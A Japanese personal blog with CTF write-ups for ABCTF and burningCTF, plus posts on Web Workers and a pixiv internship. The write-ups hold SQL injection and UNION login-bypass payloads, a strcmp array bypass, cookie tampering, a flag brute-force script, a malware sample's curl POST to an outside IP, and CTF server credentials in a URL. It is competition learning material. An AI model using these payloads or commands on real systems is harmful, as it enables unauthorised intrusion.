眠気

戯言とメモ

writeup的な

ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…

と楽しみに思っていたのですが、いつの間にか終わっていたので、

少し凹んだ。

Writeupがわりと寂しくなっていてショボイですが、覚え書き。

Caesar Salad - Crypt 10

xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}

caesar solverなどでグーグル先生に聞いたり

abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - Web 10

<!-- 7xfsnj65gsklsjsdkj -->

Just open it - Forensic 15

strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep   "ABCTF"
ABCTF{forensics_1_tooo_easy?}

GZ - Forensic 30

解凍するだけでした。たしか。

The Flash - Web 35

$ echo "c3RvcHRoYXRqcw==" | base64 -D 
stopthatjs

Drive Home - Recon 50

document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

googleドキュメントのURLっぽいなあと

思っていたら、そんな感じでした。

Chocolate - Web 50

cookieの内容e2FkbWluOmZhbHNlfQ%3D%3Dをデコードしてみて、

$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D
{admin:false}

false→trueにしてまた戻したり

Java Madness - Rev 50

引数の文字を逆にしているだけみたいな

$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\  ")' | xargs java what_the_hack
...
Flag: ABCTF{ftc tselooc eht si ftcba}

手で逆にしていったほうが楽…

とりあえずrubyが書きたかった

Hide And Seek - Bin 50

main:
...
0x0000000100000f0c <+28>: cmp    eax,0x0
0x0000000100000f0f <+31>: jne    0x100000f1a <main+42> → 出力しておわり
0x0000000100000f15 <+37>: call   0x100000e70 <totallyNotTheFlag>
...

totallyNotTheFlag:
...
0x0000000100000eb0 <+64>: call   0x100000e00 <decrypt>
...

decrypt:
0x0000000100000e2c <+44>: cmp    rcx,rax
0x0000000100000e2f <+47>: jae    0x100000e63 <decrypt+99> → ret

gdbで適当にdecryptをループさせまくるだけでしょうか

gdb$ b *main+28
gdb$ b *decrypt+44
gdb$ r
gdb$ set $eax=0
gdb$ c
gdb$ set $rcx=0x0
gdb$ set $rax=0x30
gdb$ d 1
gdb$ commands 2
x/s $rdx
set $rcx=0x0
set $rax=0x30
end
gdb$ c

あとはエンター押しまくるだけ…

gdb$ 
Continuing.
0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"

MoonWalk - Forensic 60

foremostしました。

L33t H4xx0r - Web 70

source.txt

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
            $success = true;
}else{
            $success = false;
}
...

strcmpのやつでしょうか。

配列で送って…

http://yrmyzscnvh.abctf.xyz/web6/?password[]=a

abctf{always_know_whats_going_on}

そんな感じです。

Get 'Em All - Web 80

よくあるやつですね

' or 1 = 1 ; -- ' ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

JS Pls - Rev 80

これ

base64をデコードして難読化された部分を見やすくするために、

&&のところで改行したあと、

メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、

あとはわりと手作業でした。

process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Give me a flag');
process.stdin.on('data', function (a) {
    a = a.trim();
    19 === a.length
    &&
    a.substr(0, '5')  === "ABCTF"
    &&
    a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1
    &&
    123 === a['5'].charCodeAt(0)
    &&
    a.substr('6', '4') === Object.keys(process.versions)[1]
    &&
    a['10'] === a['13']
    &&
    95 === a['10'].charCodeAt(0)
    &&
    a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0]
    &&
    a.substr('14', '4') === "w4Ck"
    &&
    (console.log('nice job!'), process.exit());
    console.log('nope!');
    process.exit();
});

上から順に、

  • 19文字
  • 0~5はABCTF
  • 最後は}
  • 5文字目は{
  • 6~9文字目node
$ node -e "console.log(Object.keys(process.versions)[1])"
node
  • 11文字目と13文字目は一緒
  • 10文字目は_
node -e "console.log(String.fromCharCode(95))"
_
  • 11~12文字目はis

console.log((typeof x)['5'] + (typeof a)[0])をつっこんでみる

  • 14~17文字目はw4Ck

ということがわかるので、

まとめると、ABCTF{node_is_w4Ck}みたいな感じで。

もう少し効率よく頑張りたい…そんなこの頃。

Reunion - Web 150

?id=sleep(1)とか?id=1 or 1=1 ; --やると時間がかかったり全部出てきたりするので'いらないんだなとか分かったり

こんな感じかな

select * from Dog where id = $_GET['id']

みたいな感じで

unionのカラム数を1 union select 1,1,1みたいな感じで増やしていくと

カラム数は4つだとわかるので、

とりあえずテーブル名が欲しいので

1 AND 1=2 UNION SELECT table_schema, table_name ,1,1  FROM information_schema.tables ; --
...
Color: 1
Name: INNODB_BUFFER_PAGE_LRU
Breed: information_schema
Color: 1
Name: w0w_y0u_f0und_m3
Breed: webeight
Color: 1
Name: webeight
...

w0w_y0u_f0und_m3テーブルが怪しい。何だ

1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --

abctf{uni0n_1s_4_gr34t_c0mm4nd}

的な感じで

Inj3ction - Web 170

login.txt

...
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
$logged_in = false;
if(mysqli_num_rows($result) === 1) {
   $row = mysqli_fetch_array($result);
   if($row["password"] === $password){
    $logged_in = true;
    if($row["is_admin"] === true){
        echo("<h1>Wow! Your flag is: $flag </h1>");
     }
   }
}
...
  • 1行
  • 結果のpasswordがPOSTされたpasswordと一致
  • is_adminがtrue

を満たす結果をunionすれば良いのかな こんな感じで

1' union select 1,1,'pass',true ' ;--

みたいな

curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass
<h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>

そんなこんなでした。頑張ります。

あと、開催期間はちゃんと把握しておきます。ええ。

久しぶりの

ブログです。

最近はわりと自堕落的に、

本を読んだり、落書きをしたり、

Unityで遊んだり、ネットワークで遊んだり、

Pythonで遊んだり、Cで遊んだり、

してました。遊んでばっかりだな…

それで自分の底の浅さや至らなさなどを痛感したり、

頑張っていきたいと思ったり。

特に何かを強いられているわけではないのですが、

やはり何かを課さないといけないのでは、とか思い、

兎にも角にも少しでも出来る事をやっていこうと、

そんな感じで。ブログを書いていこうと思ったこの頃。

毎sy…いや、せめて毎月…

特に書くことはないのですが、

何か書かないと、アレなので、

最近ちょっと触ってみたWebWorkerのことでも書こうかなという感じです。

また読みづらい文章書いてるな

などと思いながら読んで頂けると本望です。


WebWorkerのことはわりとMDNさまや、html5rocksさまに色々書かれているので、詳しくはこちらを読んで頂けると幸いです。(投)

Webのことはあまり詳しくないのですが、MDN(Mozilla Developer Network)を眺めているだけで色々わかった気分になるので、とても良い読み物です

html5rocksもとてもワクワクする感じが楽しい。暇なとき、食事のおともに。


結局のところ、

JavaScriptはシングルスレッドなので、スクリプト中のコードは必ず順番に処理されるのですが、

複数のスクリプトを同時に実行したい場合、主にイベントやコールバックを用い、また、非同期処理の結果によって処理を分けたい場合はPromiseAPIなどを用いると思います。多分。

そんなわけですが、

それらは並行処理を擬似的に再現してるわけで、実際のところ、DOMやUIのレンダリングなどと同じメインスレッドで処理しているらしいです。

WebWorkerというものはバックグラウンドでJSファイルを実行する仕組みらしく、表で動いているメインスレッドとは別に、独立したスレッドで動作させる事が出来ます。

たとえば、こんな感じでUIの処理と素数計算が同時に動作するページだと、

ワーカーを用いないデモ

画像が動いてる途中で思い処理が走ると、UIの処理が止まってしまいます。

WebWorkerを用いるとUIを止めずに動かすことが出来ます。

ワーカーを用いたデモ

外部ファイルにJSファイルを分けるのが面倒なので、HTML5Rocksで紹介されているインラインワーカーを使用して、BlobBuilderが無くなったため、Blobを用いています。

ほかのWorkerの生成方法はここはここで色々紹介されています。

あと、githubのhtmlを表示するのはgithackというのを使ってます。ベンリ。

正直のところ、

外部ファイルにしたり、Blobにしたり、メッセージを送ったり返したり

色々面倒なのですが、

Parallel.jsというのがあるらしいので、そっちで書くとちょっとマシな気がします。

Parallel.jsのデモ(動きは一緒です。

せっかくParalleljsなのだから、もっと並列なコードを書きたい…とか

思ったのですが、

並列で素数を数えるのがわりと難しかったり、mapがうまいこと動かなかったり

だったので、また思い立ったときに書ければな…

みたいなこの頃

インターンの感想など

ピクシブのインターン

行ってきました。5日間。

楽しかったです。

pixiv自体わりとよく使っていて、インターンもとても行きたかった

けれど、過去のインターン参加ブログなどを拝見していると自分が行ける感じでもなく、

ダメ元で応募してみたところ受かってました。

倍率は割と高かったみたいで、何故受かった応募してみるものだなぁ等と思いました。

ダメ元だったため、最終日の翌日から北海道みたいな無理な予定を入れていたり等もしました。

面接では「普段はRubyとか書いてるけどPHPも全然イケます…!」的なことを

言ったところ、珍しいねと言われ、

もし受かってもウルトラPHPエンジニアに囲まれて着いていけるのでは…とか

翌日から後悔に悶える日々でした。終わってみると良い選択だったと思います。

内容


初日

事前に2分程度の自己紹介資料を作成しておくように言われており、

2分とはどんなものか…とか

悩みながら作ったものを発表したり、

サラッと流したつもりのスライドに載せていたtwitterアカウントをフォローされたり

したあと、6チームに分かれ、各作業を行いました。

自分は「百科事典改修チーム」というチームに配属されており、

総合職の方1人と、エンジニアが3人の4人チームで、自分はエンジニアとして参加しました。

内容を端的に言うと、ピクシブ百科事典というサービスを実際に弄らせて頂くという内容でした。

良いのか。

最初内容を聞いた時はあまり理解出来なかったですが、

終わってみてよく考えてみてもポルナレフ状態でした。

具体的にいうと、

「pixiv百科事典は閲覧数は多いけれど、調べたいことが読めたらそのまま帰ってしまうのを何とかしよう」

ということで。

他サービスへの流出量の50%アップというのが課題でした。

環境構築と課題の解決に向けた方向性や現在上がっている問題などの話し合いなどをしたり。

ホワイトデーによりマカロンを頂いたり、

ホテルに帰る際スゴイ雨風で傘が壊れたり。な初日でした


二日目は、午前中はpixivのエンジニアの方のお話を聞いたりしてました。

niconare.nicovideo.jp

自分のチームのメンターをしてくださったtadsanさんの発表資料です。

昼からは前日に上がった問題点をgithubのissueとして登録して、

それを解決したり、ABテストをするための実装などしたり。

本当は1日目にも変更をデプロイしておきたかったので、急いで作業を行ったり。


三日目は午前中、

Pixivの社内で行われる全体会議に参加させていただいたり、

したあと、全社員がランダムで席の配置が決められるシステムにより片桐社長と同じ机でお昼を取ったり。

午後からは同じく作業を行ったりしました。


四日目は修羅場作業出来る最終日だったので、頑張って作業したり、

最終日はそれを発表したり、

そんな五日間でした。


業務は朝10時~気が済むまで19時で、

遅くまで残っても作業に付き合ってくれて、とてもありがたく申し訳ない限りでした。

あとハーゲンダッツを頂いて、すごく久しぶりに食べました。ありがたい。

f:id:lailaiskyn:20160325010936j:plain:w300

社内の雰囲気はすごくオープンな感じで、

前日までのこんなところ来て良いものかと思っていた感じとは違い、

すごく居過ぎる居やすい環境でした。

あとホワイトデーによりマカロンを頂いたり、

飲み放題な味噌汁サーバとか、ピクシブ栄養ドリンクとか良かったです。

f:id:lailaiskyn:20160324231248j:plain:h150 f:id:lailaiskyn:20160325012344j:plain:h150 f:id:lailaiskyn:20160325013007j:plain:h150

みそ汁は具を入れ過ぎるとワカメの増える量がすごくて大変だった。

あとすごくイスが座りやすくて、何気なく調べたらすごく高くて驚いた。

あと絵馬がすごかった…

憧れの絵描きさんの絵が沢山あり、

nababaさんとかlackさん、あの方も、あっあの方も…みたいな感じで

それを眺めてるだけでも1日使えそうな感じでした。

帰り際の新幹線ギリギリの時間に描かせて頂けることを知り、

15分ほどで急いで描いて帰りました。もう少し時間があれば…。


感想

Pixivというサービスは絵描きとしても気に入っているサイトだったので、

ピクシブ百科の中身を覗いて、ここがこうなっていてここが…ほぇ~などとなったり、

実際に何万PVもされているサービスをいじったり、

使用ユーザーの行動をイベントを集計して見たり、

実際に自分の作ったものが実際のサービスに反映されたり、

エゴサーチをしたら変更に気付いてる人がいたり、

ユーザーとして中の人とお話したり、すごく幸せでした。

PHPと言って良かった…お得感。

お世話になったメンターの方や、チームの方々、ありがとうございました。

これからも頑張ります。

burningCTFのwriteup的なもの

和風(WAF〜)CTFというとてもナイスなデザインのCTFであった

全体的に初心者向けであったので、メチャンコ初心者な自分にも楽しめた

稚拙ながら、とりあえず解けた問題のwriteupというか感想というか なものを書いてみました。

101 image level 1

つなげるだけ

111 ワットイズディス?

漢字2文字 + カタカナ(甲骨文字

112 cole nanee?

メッチャ忍にしか見えなかった

113 Lines and Boxes

画像検索するとアルファベットの漢字化みたいなのが出てきたのでNARUHODOとなった

115 毎日使う

「気」を入れてダメだったから戸惑って諦めてしばらく放置してしまった

氣合が足りない

121 壱萬回

objdump -d すると、

 0000000000400920 <showFlag>:
  400920:   48 83 ec 08             sub    $0x8,%rsp
  400924:   bf 46 00 00 00          mov    $0x46,%edi
  400929:   e8 a2 fc ff ff          callq  4005d0 <putchar@plt>
  40092e:   bf 4c 00 00 00          mov    $0x4c,%edi
  400933:   e8 98 fc ff ff          callq  4005d0 <putchar@plt>
  400938:   bf 41 00 00 00          mov    $0x41,%edi

    ...

 のところで難しい計算などはせず、putcharしかしていないみたいな感じであったので、movのところの16進数を取り出して

 echo "464C41475F3563333361316238383630653437646138363437313465303432653133663165" | xxd -r -p

みたいな感じであった

123 Unity遊戯如何様

f:id:lailaiskyn:20160209010501p:plain

この部分のilをいじってコインが増える数を増やすとFlagが出てきた

3つコインをとればFlagが出るので、2個ずつ増やすようにしたら3を越えて出なかった気がする

たまたま友人がこういうものを書いてくれていたおかげでなんとかなった 感謝🙏

qiita.com

mac用にビルドされていたけれど、

macでうまくilがいじれなかったのでmac向けの問題だったのかよくわからない感じであった


131 image level 5

md5 シーザーと思ったけれど並べ替えだった

132 Ninjya Crypto

忍者文字的な

133 Decrypt RSA

rsaググると解き方が見つかった。気がする

142 Ninja no Aikotoba

encryptはプログラム書こうかと思ったけど手作業で出来た

難しくて長くかかったけどfirst solveして嬉しかった

161 ftp is not secure.

wiresharkで眺めてFTP Dataのサイズが1500くらいのやつをfollow tcp streamするとbase64っぽいのがあるのでデコード

strings 161-problem.pcap | grep ==

162 ベーシック

パケットを再現したら解けてしまったので深く考えていなかったけど、しばらくしてから:に気付いた

164 Japanese kids are knowing

苦しゅうないと書かれているのでmasscanとかでスキャン

開いてるポートにncで繋ぐと

```<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.```

塩基配列か何かかと思ってすごい時間かかったけど音符であった

165 Malicious Code

windowsのプロパティだと全部読めないのでstringsとかで読んで実行するといい感じになるので、それを^取ってアレして実行すると結局こんな感じになる。

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "myaddr=myIP" -k https://210.146.64.38:60444/p.php`

myIPに65行目のIP(10.0.2.222)入れてPOST

173 Akiko-chan

画像検索して出てきたurlを解答

181 search_duplicate_character_string

とても頭が悪いコードを書いてしばらく待って出てきたやつを使って手作業で適当にやると10分もかからなかったので良かろうもんであった

 a = File.open("dup.txt")
str = ""
a.each do |s|
 str += s
end
spl = str.scan(/.{1,#{5}}/)
counts = []
spl.each_with_index{|a,i|
    cn = spl.count(a)
    print  i,"/",spl.length," ",cn,"\n"
    counts.push([i,cn])
    }
moredupsample = []
counts.each{|a|
    moredupsample.push(a[0]) if a[1]!=1
}
moredupstr = []
moredupsample.each{|m|
  next if spl[m] == nil
  # print str.scan(spl[m])," ",spl[m],"\n" if spl[m] != nil
  s = str[str.index(spl[m]),6] if spl[m] != nil
  moredupstr.push(str.scan(s)) if str.scan(s).length != 1
}
fl = true
c = 10
while fl do
moredupstr2 = []
moredupstr.each{|m|
  s = str[str.index(m[0]),c+=1]
  moredupstr2.push(str.scan(s)) if str.scan(s).length != 1
}
fl = false if  moredupstr2.length <2
end
p moredupstr2

雑魚

182 JavaScript Puzzle

nodejsで頭悪そうな総当りを書こうとしていたけれど、めもりなくなって止まったりアレだった

こんな感じで読んでいくとそれっぽい感じになる

0b1001100 = 76 = 0x4C = L
(0O000101) = 65 = 0x41 = A
(101)     = 101 = 0x65 = e

難しかった

[(0O000101),(0b1001100),(101),0x52,0x54]["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]()

183 Count Number Of Flag's SubString!

これまた頭悪そうコードを書いたのだった

require 'net/http'
require 'uri'
url = URI.parse('http://210.146.64.36:30840')
alpha = [*"a".."z"]
alpha.push("_")
str = "flag={"
grs = []
loop do |time|
  flg = true
  cou = 1
  alpha.each_with_index do |a,i|
      next unless flg
      strs = str + a
    res = Net::HTTP.start(url.host, url.port) {|http|
      http.get('/count_number_of_flag_substring/?str='+  strs +'&count=count')
    }
    cnt = res.body.match(/are.*</).to_s.gsub("are","").gsub("<","").to_i
    puts strs
    if cnt > 0
      flg = false
      str += a
    end
  end
  sleep 0.1
end

184 解凍?

頭悪そうなコードを書いてひたすら解凍したけど途中で拡張子が変わったりすると止まったりしてその都度手作業だったのは阿呆であった

191 GIFアニメ生成サイト

画像をアップロードすると出てくる生成ボタン

<input type="button" value="生成" id="cb" class="btn btn-primary" data-id="????">

の data-id= を1にするとCTFあるあるが出てくる

writeup見ただけだと簡単なものだと恐らく思ってしまうけれど、試行錯誤して実際に解けると感動するものであったのだなあ となった

193 箱庭XSS

stringsでアレなjsを見つけて実行しただけであった

アレな感じもしたけれど、他の人も同じ解き方してる人がいて安心

194 YamaToDo

Web問に慣れていなかったので、これもxssすれば良いのかとか色々試行錯誤してたけど何も出来ず、

コードを読むとあからさまなsjis対策がされていたので、文字コードの問題なのかと思う

euc-jpかと思い、適当にここの文字列を貼り付けて適当なSSIDcurlでPOSTしてみる

curl 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/?ie=ujis' --data 'user_id=yamato&password=◆□■△▲▽▼※〒→←↑↓〓�����������∈∋⊆⊇⊂⊃∪∩�������action=login' -H 'Cookie: PHPSESSID=testtest'

このSSIDでログイン出来たので、ujisをちょっと調べてみてもよくわからんけどフラグもあるしよかろうとなった

それをmageさんに聞いてみても?となる

帰って色々削って試してみると

curl  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' -d "user_id=yamato" -d password=aaaa
curl -s  'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44'  -H 'Cookie: PHPSESSID=testssid' | nkf | grep "☆(ゝω・)v "

Ⱦ角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}  

(・ω・)??

ということは...となり

これを

f:id:lailaiskyn:20160208235449p:plain


こうすると

f:id:lailaiskyn:20160208235511p:plain

出来る

f:id:lailaiskyn:20160208235941p:plain

何故

コードを見返すと

f:id:lailaiskyn:20160209003344p:plain

f:id:lailaiskyn:20160209003423p:plain

break 2; ジャナイ

コードちゃんと読めばメッチャ簡単な問題だったので大変たまげた

雑魚ゆえお許し下され…となった

breakコワイ

197 箱庭XSS 2

1と同じ

201/202 将棋詰め

詰将棋勉強しつつ頑張った

203/204 将棋詰め3,4

web上に自動でやってくれるのがあったのでカンニングに任せてしまった…

  • 解説された問題も惜しいところまで行ってたのがわりとあったのは、持ち前の諦めスキルが災いしたせいであったと思う

  • 色んな話を聞いてもっと精進しなくては…という感じがした

  • 初心者を脱したい

  • 一瞬だけ3位になったので成仏しかけた